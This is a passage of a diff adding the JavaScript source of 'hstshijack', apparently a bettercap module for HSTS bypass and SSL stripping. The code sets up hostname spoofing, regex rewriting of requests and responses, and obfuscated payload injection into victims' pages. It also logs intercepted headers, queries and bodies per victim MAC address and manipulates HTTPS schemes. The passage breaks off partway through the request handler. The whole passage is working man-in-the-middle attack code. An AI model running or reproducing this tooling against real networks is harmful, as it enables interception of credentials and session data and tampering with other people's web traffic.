+ if (target_host_wildcard_count !== replacement_host_wildcard_count) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets or hstshijack.replacements value, wildcards do not match (got " + target_hosts[a] + " and " + replacement_hosts[a] + ").");
+ }
+ }
+ }
+
+ for (a = 0; a < target_hosts.length; a++) {
+ /* Precompile regex sets for hostname spoofing. */
+ rx_sets_global_target_hosts.push(toRegexpSet(target_hosts[a], replacement_hosts[a]));
+ rx_sets_global_replacement_hosts.push(toRegexpSet(replacement_hosts[a], target_hosts[a]));
+ /* Precompile whole regex sets for hostname spoofing. */
+ rx_sets_whole_target_hosts.push(toWholeRegexpSet(target_hosts[a], replacement_hosts[a]));
+ rx_sets_whole_replacement_hosts.push(toWholeRegexpSet(replacement_hosts[a], target_hosts[a]));
+ /* Precompile regex sets for restoring HTTPS. */
+ rx_sets_global_target_http_origins.push(toHttpOriginRegexpSet(target_hosts[a], target_hosts[a]));
+ }
+
+ for (a = 0; a < block_script_hosts.length; a++) {
+ if (
+ !/^\*$/i.test(block_script_hosts[a])
+ && !rx_whole_prefix_wildcard_domain.test(block_script_hosts[a])
+ && !rx_whole_suffix_wildcard_domain.test(block_script_hosts[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.blockscripts value (got " + block_script_hosts[a] + ").");
+ }
+ }
+
+ /* Prepare response body regex replacements. */
+ env["hstshijack.replacements.res.body"]
+ ? replacements_res_body_path = env["hstshijack.replacements.res.body"].replace(/^\s*(.*?)\s*$/g, "$1")
+ : replacements_res_body_path = "";
+ try {
+ replacements_res_body = JSON.parse(readFile(replacements_res_body_path));
+ } catch (err) {
+ log_fatal(err);
+ }
+ if (!replacements_res_body.html || typeof replacements_res_body.html !== "object")
+ replacements_res_body.html = {};
+ if (!replacements_res_body.javascript || typeof replacements_res_body.javascript !== "object")
+ replacements_res_body.javascript = {};
+ if (!replacements_res_body.json || typeof replacements_res_body.json !== "object")
+ replacements_res_body.json = {};
+ var host_selector_strings_html = Object.keys(replacements_res_body.html);
+ var host_selector_strings_javascript = Object.keys(replacements_res_body.javascript);
+ var host_selector_strings_json = Object.keys(replacements_res_body.json);
+ for (a = 0; a < host_selector_strings_html.length; a++) {
+ var selector_string = host_selector_strings_html[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_res_body_html.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_res_body_html.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_res_body.html[selector_string].length; b++) {
+ var rx_set = replacements_res_body.html[selector_string][b];
+ replacements_res_body.html[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+ for (a = 0; a < host_selector_strings_javascript.length; a++) {
+ var selector_string = host_selector_strings_javascript[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_res_body_javascript.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_res_body_javascript.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_res_body.javascript[selector_string].length; b++) {
+ var rx_set = replacements_res_body.javascript[selector_string][b];
+ replacements_res_body.javascript[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+ for (a = 0; a < host_selector_strings_json.length; a++) {
+ var selector_string = host_selector_strings_json[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_res_body_json.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_res_body_json.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_res_body.json[selector_string].length; b++) {
+ var rx_set = replacements_res_body.json[selector_string][b];
+ replacements_res_body.json[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+
+ /* Prepare request headers regex replacements. */
+ env["hstshijack.replacements.req.headers"]
+ ? replacements_req_headers_filepath = env["hstshijack.replacements.req.headers"].replace(/^\s*(.*?)\s*$/g, "$1")
+ : replacements_req_headers_filepath = "";
+ try {
+ replacements_req_headers = JSON.parse(readFile(replacements_req_headers_filepath));
+ } catch (err) {
+ log_fatal(err);
+ }
+ var host_selector_strings_req_headers = Object.keys(replacements_req_headers);
+ for (a = 0; a < host_selector_strings_req_headers.length; a++) {
+ var selector_string = host_selector_strings_req_headers[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_headers.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_headers.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_headers[selector_string].length; b++) {
+ var rx_set = replacements_req_headers[selector_string][b];
+ replacements_req_headers[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+
+ /* Prepare request body regex replacements. */
+ env["hstshijack.replacements.req.body"]
+ ? replacements_req_body_filepath = env["hstshijack.replacements.req.body"].replace(/^\s*(.*?)\s*$/g, "$1")
+ : replacements_req_body_filepath = "";
+ try {
+ replacements_req_body = JSON.parse(readFile(replacements_req_body_filepath));
+ } catch (err) {
+ log_fatal(err);
+ }
+ var host_selector_strings_req_body = Object.keys(replacements_req_body);
+ for (a = 0; a < host_selector_strings_req_body.length; a++) {
+ var selector_string = host_selector_strings_req_body[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_body.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_body.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_body[selector_string].length; b++) {
+ var rx_set = replacements_req_body[selector_string][b];
+ replacements_req_body[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+
+ /* Prepare request url regex replacements. */
+ env["hstshijack.replacements.req.url"]
+ ? replacements_req_url_filepath = env["hstshijack.replacements.req.url"].replace(/^\s*(.*?)\s*$/g, "$1")
+ : replacements_req_url_filepath = "";
+ try {
+ replacements_req_url_path = JSON.parse(readFile(replacements_req_url_filepath)).path;
+ replacements_req_url_port = JSON.parse(readFile(replacements_req_url_filepath)).port;
+ replacements_req_url_query = JSON.parse(readFile(replacements_req_url_filepath)).query;
+ } catch (err) {
+ log_fatal(err);
+ }
+ var host_selector_strings_req_url_path = Object.keys(replacements_req_url_path);
+ var host_selector_strings_req_url_port = Object.keys(replacements_req_url_port);
+ var host_selector_strings_req_url_query = Object.keys(replacements_req_url_query);
+ for (a = 0; a < host_selector_strings_req_url_path.length; a++) {
+ var selector_string = host_selector_strings_req_url_path[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_url_path.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_url_path.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_url_path[selector_string].length; b++) {
+ var rx_set = replacements_req_url_path[selector_string][b];
+ replacements_req_url_path[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+ for (a = 0; a < host_selector_strings_req_url_port.length; a++) {
+ var selector_string = host_selector_strings_req_url_port[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_url_port.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_url_port.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_url_port[selector_string].length; b++) {
+ var rx_set = replacements_req_url_port[selector_string][b];
+ replacements_req_url_port[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+ for (a = 0; a < host_selector_strings_req_url_query.length; a++) {
+ var selector_string = host_selector_strings_req_url_query[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_req_url_query.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_req_url_query.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_req_url_query[selector_string].length; b++) {
+ var rx_set = replacements_req_url_query[selector_string][b];
+ replacements_req_url_query[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+
+ /* Prepare payloads. */
+ env["hstshijack.payloads"]
+ ? payload_entries = env["hstshijack.payloads"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
+ : payload_entries = [];
+ for (a = 0; a < payload_entries.length; a++) {
+ if (
+ !/^\*:.+$/i.test(payload_entries[a])
+ && !/^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))):.+$/i.test(payload_entries[a])
+ && !rx_whole_suffix_wildcard_domain.test(payload_entries[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.payloads value (got " + payload_entries[a] + ").");
+ }
+ payload_host = payload_entries[a].replace(/[:].*/, "");
+ payload_path = payload_entries[a].replace(/.*[:]/, "");
+ payload = "";
+ if (!(payload = readFile(payload_path))) {
+ log_fatal(on_blue + "hstshijack" + reset + " Could not read a payload (got " + payload_path + ").");
+ } else {
+ payload = payload
+ .replace(/obf_hstshijack_target_hosts/g, varname_target_hosts)
+ .replace(/obf_hstshijack_replacement_hosts/g, varname_replacement_hosts)
+ .replace(/obf_hstshijack_path_callback/g, callback_path)
+ .replace(/obf_hstshijack_path_ssl_index/g, ssl_index_path)
+ .replace(/obf_hstshijack_path_whitelist/g, whitelist_path)
+ .replace(/obf_hstshijack_cookie_host_prefix/g, cookie_host_prefix)
+ .replace(/obf_hstshijack_cookie_secure_prefix/g, cookie_secure_prefix);
+ if (obfuscate) {
+ var obfuscation_variables = payload.match(/obf_hstshijack_[a-z0-9_]*/ig) || [];
+ obfuscation_variables = obfuscation_variables.sort().reverse();
+ for (b = 0; b < obfuscation_variables.length; b++) {
+ if (obfuscation_variables.indexOf(obfuscation_variables[b]) === b) {
+ regexp = new RegExp(obfuscation_variables[b], "g");
+ payload = payload.replace(regexp, randomString(8 + (Math.random() * 8)));
+ }
+ }
+ }
+ if (payloads[payload_host]) {
+ payloads[payload_host] = payloads[payload_host] + "\n" + payload + "\n";
+ } else {
+ payloads[payload_host] = payload + "\n";
+ }
+ }
+ }
+
+ /* Prepare payload container */
+ payload_container_prefix = payload_container_prefix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id);
+ payload_container_prefix = payload_container_prefix +
+ "const " + varname_target_hosts + " = [\"" + target_hosts.join("\",\"") + "\"];\n" +
+ "const " + varname_replacement_hosts + " = [\"" + replacement_hosts.join("\",\"") + "\"];\n";
+ payload_container_suffix = payload_container_suffix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id);
+
+ /* Prepare whitelist */
+ whitelist_file_path = env["hstshijack.whitelist"];
+ try {
+ whitelist = JSON.parse(readFile(whitelist_file_path));
+ } catch (err) {
+ log_fatal(on_blue + "hstshijack" + reset + " Could not read whitelist file (got " + whitelist_file_path + "). Please enter a valid hstshijack.whitelist value in your caplet.");
+ }
+
+ /* Prepare SSL index */
+ ssl_index_check = env["hstshijack.ssl.index.check"].toLowerCase() || "true";
+ all_domains = readFile(env["hstshijack.ssl.domains"]).split("\n");
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ ssl.index[ssl.prefixes[a]] = [];
+ }
+ if (all_domains.length === 0) {
+ log_info(on_blue + "hstshijack" + reset + " No indexed domains were found, index will be reset.");
+ } else {
+ if (ssl_index_check !== "false") {
+ log_info(on_blue + "hstshijack" + reset + " Indexing SSL domains ...");
+ all_domains.filter(function(domain) {
+ if (domain !== "") indexDomain(domain);
+ });
+ } else {
+ ssl.domains = all_domains;
+ index_file_contents = readFile(env["hstshijack.ssl.index"]);
+ if (ssl.domains.length !== 0 && index_file_contents === "") {
+ log_fatal(on_blue + "hstshijack" + reset + " List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet.");
+ }
+ try {
+ ssl.index = JSON.parse(index_file_contents);
+ } catch (err) {
+ log_fatal(on_blue + "hstshijack" + reset + "(" + err + ") List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet.");
+ }
+ indexed_domains_length = 0;
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ indexed_domains_length += ssl.index[ssl.prefixes[a]].length;
+ }
+ if (indexed_domains_length !== all_domains.length) {
+ log_fatal(on_blue + "hstshijack" + reset + " List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet.");
+ }
+ log_info(on_blue + "hstshijack" + reset + " Skipped SSL index check for " + all_domains.length + " domain(s).");
+ }
+ }
+
+ /* Ensure targeted hosts are in SSL log (no wildcards). */
+ for (var a = 0; a < target_hosts.length; a++) {
+ if (target_hosts[a].indexOf("*") === -1) {
+ indexDomain(target_hosts[a]);
+ }
+ }
+
+ saveSSLIndex();
+ log_info(on_blue + "hstshijack" + reset + " Indexed " + ssl.domains.length + " domains.");
+}
+
+function showConfig() {
+ /* Print module configuration. */
+ logStr = "\n";
+ logStr += " " + bold + "Caplet" + reset + "\n";
+ logStr += "\n";
+ logStr += " " + yellow + " hstshijack.ssl.domains" + reset + " > " + (env["hstshijack.ssl.domains"] ? green + env["hstshijack.ssl.domains"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.ssl.index" + reset + " > " + (env["hstshijack.ssl.index"] ? green + env["hstshijack.ssl.index"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + "hstshijack.ssl.index.check" + reset + " > " + (/^true$/i.test(env["hstshijack.ssl.index.check"]) ? green + "true" : red + "false") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.ignore" + reset + " > " + (env["hstshijack.ignore"] ? green + env["hstshijack.ignore"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.targets" + reset + " > " + (env["hstshijack.targets"] ? green + env["hstshijack.targets"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.replacements" + reset + " > " + (env["hstshijack.replacements"] ? green + env["hstshijack.replacements"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.blockscripts" + reset + " > " + (env["hstshijack.blockscripts"] ? green + env["hstshijack.blockscripts"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.obfuscate" + reset + " > " + (obfuscate ? green + "true" : red + "false") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.payloads" + reset + " > ";
+ if (env["hstshijack.payloads"]) {
+ list = env["hstshijack.payloads"].replace(/^\s*(.*?)\s*$/g, "$1").split(",");
+ logStr += green + list[0] + reset + "\n";
+ if (list.length > 1) {
+ for (a = 1; a < list.length; a++) {
+ logStr += " > " + green + list[a] + reset + "\n";
+ }
+ }
+ } else {
+ logStr += red + "undefined" + reset + "\n";
+ }
+ logStr += "\n";
+ logStr += " " + bold + "Commands" + reset + "\n";
+ logStr += "\n";
+ logStr += " " + bold + " hstshijack.show" + reset + " : Show module info.\n";
+ logStr += " " + bold + "hstshijack.ssl.domains" + reset + " : Show recorded domains with SSL.\n";
+ logStr += " " + bold + " hstshijack.ssl.index" + reset + " : Show SSL domain index.\n";
+ logStr += "\n";
+ logStr += " " + bold + "Session info" + reset + "\n";
+ logStr += "\n";
+ logStr += " " + bold + " Session ID" + reset + " : " + session_id + "\n";
+ logStr += " " + bold + " Callback path" + reset + " : " + callback_path + "\n";
+ logStr += " " + bold + " Whitelist path" + reset + " : " + whitelist_path + "\n";
+ logStr += " " + bold + " SSL index path" + reset + " : " + ssl_index_path + "\n";
+ logStr += " " + bold + " __Host- prefix" + reset + " : " + cookie_host_prefix + "\n";
+ logStr += " " + bold + "__Secure- prefix" + reset + " : " + cookie_secure_prefix + "\n";
+ logStr += " " + bold + " SSL domains" + reset + " : " + ssl.domains.length + " domain" + (ssl.domains.length === 1 ? "" : "s") + "\n";
+ console.log(logStr);
+}
+
+function onCommand(cmd) {
+ if (cmd === "hstshijack.show") {
+ showConfig();
+ return true;
+ }
+ if (cmd === "hstshijack.ssl.domains") {
+ if (ssl.domains.length > 20) {
+ truncated_domains = ssl.domains.slice(0, 20);
+ truncated_domains.push("...");
+ log_string = truncated_domains.join(reset + "\n " + yellow);
+ console.log("\n" + bold + " Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n " + yellow + log_string + reset + "\n");
+ } else {
+ console.log("\n" + bold + " Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n " + yellow + ssl.domains.join(reset + "\n " + yellow) + reset + "\n");
+ }
+ return true;
+ }
+ if (cmd === "hstshijack.ssl.index") {
+ log_string = "\n" + bold + " SSL domain index" + reset + "\n";
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ domain_prefix = ssl.prefixes[a];
+ log_string += "\n " + yellow + domain_prefix + reset + " (length: " + ssl.index[domain_prefix].length + ")";
+ }
+ console.log(log_string + "\n");
+ return true;
+ }
+ if (cmd === "hstshijack.whitelist") {
+ console.log("\n" + JSON.stringify(whitelist, null, 2) + "\n");
+ return true;
+ }
+}
+
+function onLoad() {
+ math_seed = new Date().getMilliseconds();
+ Math.random = function() {
+ r = Math.sin(math_seed++) * 10000;
+ return r - Math.floor(r);
+ }
+ String.prototype.startsWith = function(prefix) {
+ return this.slice(0, prefix.length) === prefix;
+ }
+
+ log_info(on_blue + "hstshijack" + reset + " Generating random variable names for this session ...");
+ session_id = randomString(8 + Math.random() * 8);
+ varname_target_hosts = randomString(8 + Math.random() * 8);
+ varname_replacement_hosts = randomString(8 + Math.random() * 8);
+ cookie_host_prefix = randomString(8 + Math.random() * 8);
+ cookie_secure_prefix = randomString(8 + Math.random() * 8);
+ callback_path = "/" + randomString(8 + Math.random() * 8);
+ whitelist_path = "/" + randomString(8 + Math.random() * 8);
+ ssl_index_path = "/" + randomString(8 + Math.random() * 8);
+
+ rx_global_cookie_host_prefix = new RegExp(cookie_host_prefix, "g");
+ rx_global_cookie_secure_prefix = new RegExp(cookie_secure_prefix, "g");
+
+ log_info(on_blue + "hstshijack" + reset + " Reading caplet ...");
+ configure();
+ log_info(on_blue + "hstshijack" + reset + " Module loaded.");
+ showConfig();
+}
+
+function onRequest(req, res) {
+ if (req.Path === ssl_index_path) {
+ /**
+ * SSL callback.
+ *
+ * Requests made for this path should include a hostname in the query so
+ * this module can send a HEAD request to learn HTTPS redirects.
+ */
+ log_debug(on_blue + "hstshijack" + reset + " SSL callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Query + reset + ".");
+ queried_host = req.Query;
+ if (getDomainIndex(queried_host) === -1) {
+ log_debug(on_blue + "hstshijack" + reset + " Learning unencrypted HTTP response from " + queried_host + " ...");
+ req.Hostname = queried_host;
+ req.Path = "/";
+ req.Query = "";
+ req.Body = "";
+ req.Method = "HEAD";
+ }
+ } else if (req.Path === callback_path) {
+ /**
+ * Basic callback.
+ *
+ * Requests made for this path will be dropped.
+ * Requests made for this path will be printed.
+ */
+ res.ClearBody();
+ logStr = on_blue + "hstshijack" + reset + " Callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Hostname + reset + "\n";
+ logStr += " " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " [" + green + "hstshijack.callback" + reset + "] " + on_grey + "CALLBACK" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query !== "" ? ("?" + req.Query) : "") + "\n " + on_grey + " " + reset + " \n";
+ logStr += " " + on_grey + " " + reset + " " + bold + "Headers" + reset + "\n " + on_grey + " " + reset + " \n";
+ headers = req.Headers.split("\r\n");
+ for (i = 0; i < headers.length; i++) {
+ if (headers[i].split(": ").length === 2) {
+ params = headers[i].split(": ");
+ logStr += " " + on_grey + " " + reset + " " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n";
+ } else {
+ logStr += " " + on_grey + " " + reset + " " + yellow + headers[i] + reset + "\n";
+ }
+ }
+ logStr += " " + on_grey + " " + reset + " " + bold + "Query" + reset + "\n " + on_grey + " " + reset + " \n";
+ queries = req.Query.split("&");
+ for (i = 0; i < queries.length; i++) {
+ if (queries[i].split("=").length === 2) {
+ params = queries[i].split("=");
+ logStr += " " + on_grey + " " + reset + " " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n";
+ } else {
+ logStr += " " + on_grey + " " + reset + " " + green + queries[i] + reset + "\n";
+ }
+ }
+ logStr += " " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " " + bold + "Body" + reset + "\n " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " " + yellow + req.ReadBody() + reset + "\n";
+ log_info(logStr);
+ } else if (req.Path === whitelist_path) {
+ /**
+ * Whitelisting callback.
+ *
+ * Requests made for this path will be dropped.
+ * Requests made for this path will be printed.
+ * Requests made for this path will stop all attacks towards this client with the requested hostname.
+ */
+ res.ClearBody();
+ logStr = on_blue + "hstshijack" + reset + " Whitelisting callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Hostname + reset + "\n";
+ logStr += " " + on_white + " " + reset + " \n " + on_white + " " + reset + " [" + green + "hstshijack.callback" + reset + "] " + on_white + "WHITELIST" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query !== "" ? ("?" + req.Query) : "") + "\n " + on_white + " " + reset + " \n";
+ logStr += " " + on_white + " " + reset + " " + bold + "Headers" + reset + "\n " + on_white + " " + reset + " \n";
+ headers = req.Headers.split("\n");
+ for (i = 0; i < headers.length; i++) {
+ if (headers[i].split(": ").length === 2) {
+ params = headers[i].split(": ");
+ logStr += " " + on_white + " " + reset + " " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n";
+ } else {
+ logStr += " " + on_white + " " + reset + " " + yellow + headers[i] + reset + "\n";
+ }
+ }
+ logStr += " " + on_white + " " + reset + " " + bold + "Query" + reset + "\n " + on_white + " " + reset + " \n";
+ queries = req.Query.split("&");
+ for (i = 0; i < queries.length; i++) {
+ if (queries[i].split("=").length === 2) {
+ params = queries[i].split("=");
+ logStr += " " + on_white + " " + reset + " " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n";
+ } else {
+ logStr += " " + on_white + " " + reset + " " + green + queries[i] + reset + "\n";
+ }
+ }
+ logStr += " " + on_white + " " + reset + " \n " + on_white + " " + reset + " " + bold + "Body" + reset + "\n " + on_white + " " + reset + " \n " + on_white + " " + reset + " " + yellow + req.ReadBody() + reset + "\n";
+ log_info(logStr);
+ /* Add requested hostname to whitelist. */
+ if (whitelist[req.Client.MAC]) {
+ if (whitelist[req.Client.MAC].indexOf(req.Hostname) === -1) {
+ whitelist[req.Client.MAC].push(req.Hostname);
+ }
+ } else {
+ whitelist[req.Client.MAC] = [req.Hostname];
+ }
+ /* Also whitelist unspoofed version of requested hostname. */
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_whole_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_replacement_hosts[a][0].test(req.Hostname)) {
+ whitelist[req.Client.MAC].push(req.Hostname.replace(
+ rx_sets_whole_replacement_hosts[a][0],
+ rx_sets_whole_replacement_hosts[a][1]));
+ break;
+ }
+ }
+ saveWhitelist();
+ } else {
+ /**
+ * Not a callback.
+ *
+ * Redirect client to the real host if a whitelist callback was received previously.
+ * Restore spoofed hostnames and schemes in request.
+ */
+ req.ReadBody();
+
+ if (whitelist[req.Client.MAC]) {
+ for (a = 0; a < whitelist[req.Client.MAC].length; a++) {
+ whole_regexp_set = toWholeRegexpSet(whitelist[req.Client.MAC][a], "");
+ whole_regexp_set[0].lastIndex = 0;
+ if (whole_regexp_set[0].test(req.Hostname)) {
+ /* Restore requested hostname if it was spoofed. */
+ var unspoofed_host;
+ for (b = 0; b < target_hosts.length; b++) {
+ rx_sets_whole_replacement_hosts[b][0].lastIndex = 0;
+ if (rx_sets_whole_replacement_hosts[b][0].test(req.Hostname)) {
+ unspoofed_host = req.Hostname.replace(
+ rx_sets_whole_replacement_hosts[b][0],
+ rx_sets_whole_replacement_hosts[b][1]);
+ query = (req.Query !== "" ? ("?" + req.Query) : "");
+ res.SetHeader("Location", "https://" + unspoofed_host + req.Path + query);
+ res.Status = 301;
+ log_info(on_blue + "hstshijack" + reset + " Redirecting " + green + req.Client.MAC + reset + " from " + bold + req.Hostname + reset + " to " + bold + unspoofed_host + reset + " because we received a whitelisting callback.");
+ return;
+ }
+ }
+ }
+ }
+ }
+
+ /* Restore original hostnames. */
+ for (a = 0; a < target_hosts.length; a++) {
+ /* Restore original hostnames in headers. */
+ rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_replacement_hosts[a][0].test(req.Headers)) {
+ req.Headers = req.Headers.replace(rx_sets_global_replacement_hosts[a][0], rx_sets_global_replacement_hosts[a][1]);
+ log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in request header(s).");
+ }
+ }
+
+ /* Restore original hostnames in query URI. */
+ if (req.Query !== "") {
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_replacement_hosts[a][0].test(req.Query)) {
+ req.Query = req.Query.replace(rx_sets_global_replacement_hosts[a][0], rx_sets_global_replacement_hosts[a][1]);
+ log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in query URI.");
+ }
+
+ /* Restore original hostnames in encoded query URI parameters. */
+ query_params = req.Query.split("&");
+ new_params = [];
+ for (b = 0; b < query_params.length; b++) {
+ param = query_params[b];
+ param_parts = param.match(rx_query_param);
+ if (param_parts) {
+ param_name = param_parts[1];
+ param_value = param_parts[2];
+ if (param_value.indexOf("%") !== -1) {
+ param_value_decoded = decodeURIComponent(param_value);
+ if (param_value !== param_value_decoded) {
+ rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_replacement_hosts[a][0].test(param_value_decoded)) {
+ param_value_decoded_unspoofed = param_value_decoded.replace(
+ rx_sets_global_replacement_hosts[a][0],
+ rx_sets_global_replacement_hosts[a][1]);
+ new_params.push(
+ param_name + "=" + encodeURIComponent(param_value_decoded_unspoofed));
+ } else {
+ new_params.push(param);
+ }
+ } else {
+ new_params.push(param);
+ }
+ } else {
+ rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_replacement_hosts[a][0].test(param_value)) {
+ param_value_unspoofed = param_value.replace(
+ rx_sets_global_replacement_hosts[a][0],
+ rx_sets_global_replacement_hosts[a][1]);
+ new_params.push(param_name + "=" + param_value_unspoofed);
+ } else {
+ new_params.push(param);
+ }
+ }
+ } else {
+ new_params.push(param);
+ }
+ }
+ new_query_string = new_params.join("&");
+ if (new_query_string !== req.Query) {
+ req.Query = new_query_string;
+ }
+ }
+ }
+
+ for (a = 0; a < target_hosts.length; a++) {
+ /* Restore original hostname of request. */
+ rx_sets_whole_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_replacement_hosts[a][0].test(req.Hostname)) {
+ spoofed_host = req.Hostname;
+ req.Hostname = req.Hostname.replace(rx_sets_whole_replacement_hosts[a][0], rx_sets_whole_replacement_hosts[a][1]);
+ req.Scheme = "https";
+ log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + spoofed_host + reset + " to " + req.Hostname + " and restored HTTPS scheme.");
+ break;
+ }
+ }
+
+ /* Restore HTTPS scheme. */
+ if (getDomainIndex(req.Hostname) !== -1) {
+ /* Restore HTTPS scheme of request if domain is indexed. */
+ if (req.Scheme !== "https") {
+ req.Scheme = "https";
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + bold + req.Hostname + reset + ".");
+ }
+ /* Restore HTTPS scheme in request headers if requested domain is indexed. */
+// fix this by searching for all URLs and then finding if they need SSL
+ escaped_domain = req.Hostname.replace(rx_all_dots, "[.]").replace(rx_all_dashes, "[-]");
+ regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig");
+ regexp.lastIndex = 0;
+ if (regexp.test(req.Headers)) {
+ req.Headers = req.Headers.replace(regexp, "https://" + req.Hostname + "$1");
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers.");
+ }
+ /* Restore HTTPS scheme in request headers if domains are targeted. */
+ for (a = 0; a < target_hosts.length; a++) {
+ matches = req.Headers.match(rx_sets_global_target_hosts[a][0]) || [];
+ for (b = 0; b < matches.length; b++) {
+ escaped_domain = matches[b].replace(rx_all_dots, "\\.");
+ regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig");
+ req.Headers = req.Headers.replace(regexp, "https://" + matches[b] + "$1");
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers.");
+ }
+ }
+ } else { /* If requested domain is not indexed. */
+
+ // TODO
+ // we can perform an SSL check synchronously with a set timeout, and/or we can
+ // perform an SSL check asynchronously for future hijacking attempts
+
+ log_debug(on_blue + "hstshijack" + reset + " Domain " + bold + req.Hostname + reset + " is not indexed.");
+ /* Restore HTTPS scheme of request if domain is targeted. */
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_whole_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_target_hosts[a][0].test(req.Hostname)) {
+ req.Scheme = "https";
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of targeted domain " + bold + req.Hostname + reset + ".");
+ break;
+ }
+ }
+ /* Restore HTTPS scheme in request headers if domains are targeted. */
